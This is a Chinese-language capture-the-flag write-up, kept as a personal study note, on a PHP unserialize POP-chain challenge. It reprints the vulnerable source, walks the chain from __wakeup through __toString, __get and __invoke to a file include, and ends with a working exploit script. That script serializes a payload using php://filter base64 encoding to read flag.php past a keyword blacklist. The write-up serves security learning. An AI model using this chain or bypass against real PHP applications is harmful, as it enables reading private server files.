|
一个针对pop链应用的基础题。写在这作为个人的学习记录。
__construct 当一个对象创建时被调用,
__toString 当一个对象被当作一个字符串被调用。
__wakeup() 使用unserialize时触发
__get() 用于从不可访问的属性读取数据
#难以访问包括:(1)私有属性,(2)没有初始化的属性
__invoke() 当脚本尝试将对象调用为函数时触发
Welcome to index.php
<?php
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
从尾至头的拆分:用include来实现文件包含flag.php。_invoke调用append函数。但要调用_invoke需要一个类作为函数来调用。
Modifier类
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
test类中$function = $this->p;return $function();就值得注意。如果我们$p=new modifer(),那么不就是将类modifer作为函数调用了嘛。而_get是在用于从不可访问的属性读取数据时调用,继续看。 test类
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
在show中_tostring的return $this->str->source;,如果我们将$str=new test(),那么该实例就没有source。就成功调用了上文那个_get。 要调用tostring,preg_match中第二个参数this->source作为字符串时就会调用它。
show类
class Show{
public $source;
public $str;
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
从头至尾来一遍
- get接收pop参数,反序列化后调用
_wakeup _wakeup在perg_match中如果this->source为show类,则调用_tostring。tostring下如果str为类test,则会调用test类下的_get_get下又会调用modifer类的两个文件包含内容,在_invoke中读取flag文件。- 读取flag因为有过滤。可以用filter来读取。
exp
<?php
class Modifier {
protected $var='php://filter/read=convert.base64-encode/resource=flag.php';
}
class Show{
public $source;
public $str;
public function __construct($file){
$this->source = $file;
}
public function __toString(){
return $this->str->source;
}
}
class Test{
public $p;
}
$s = new show('fk');
$s->str = new test();
$s->str->p = new Modifier();
$f = new show($s);
var_dump(urlencode(serialize($f)));
参考文章
|